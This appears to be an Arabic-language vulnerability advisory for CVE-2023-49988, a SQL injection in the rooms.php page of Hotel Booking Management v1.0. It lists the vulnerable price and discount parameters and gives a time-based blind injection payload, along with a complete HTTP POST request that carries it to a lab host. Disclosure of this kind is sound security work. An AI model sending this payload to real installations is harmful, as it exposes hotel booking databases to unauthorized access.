geraldoalcantara/cve-2023-49988إدارة حجز الفنادق v1.0 - ثغرة حقن SQL في المعامل "npss" في rooms.php
الوصف: توجد ثغرة حقن SQL في الإصدار 1 من نظام إدارة حجوزات الفنادق. يمكن لمهاجم خبيث إرسال أوامر SQL إلى قاعدة بيانات MySQL عند تعديل أسعار وخصومات خيارات الإقامة من خلال المعاملات الضعيفة npss, dpss, npsd, dpsd, npds, dpds, npdd, dpdd, npdst, أو dpdst.
إصدار المنتج المعرض للخطر: Hotel Booking Management v1.0 مؤلف CVE: Geraldo Alcântara التاريخ: 28/11/2023 تم التأكيد في: 19/12/2023 CVE: CVE-2023-49988 تم الاختبار على: Windows
لاستغلال هذه الثغرة، يمكن للمهاجم الانتقال إلى /HotelBookingManagement-main/rooms.php. عن طريق حقن حمولة SQL في معاملات مثل npss, dpss, npsd, dpsd, npds, dpds, npdd, dpdd, npdst, أو dpdst أثناء تعديل أسعار وخصومات خيارات الإقامة، يمكن للمهاجم اختراق النظام. الحمولة: (select*from(select(sleep(5)))a)
POST /HotelBookingManagement-main/rooms.php HTTP/1.1
Host: 192.168.68.148
Content-Length: 127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.68.148
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.68.148/HotelBookingManagement-main/rooms.php
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=aih2rvevdrpegiqt8nlstav7am
Connection: close
npss=(select*from(select(sleep(5)))a)&dpss=2&npsd=800&dpsd=2&npds=1100&dpds=3&npdd=1500&dpdd=4&npdst=2000&dpdst=13&updateRooms=
المكتشف/الاعتمادات: Geraldo Alcântara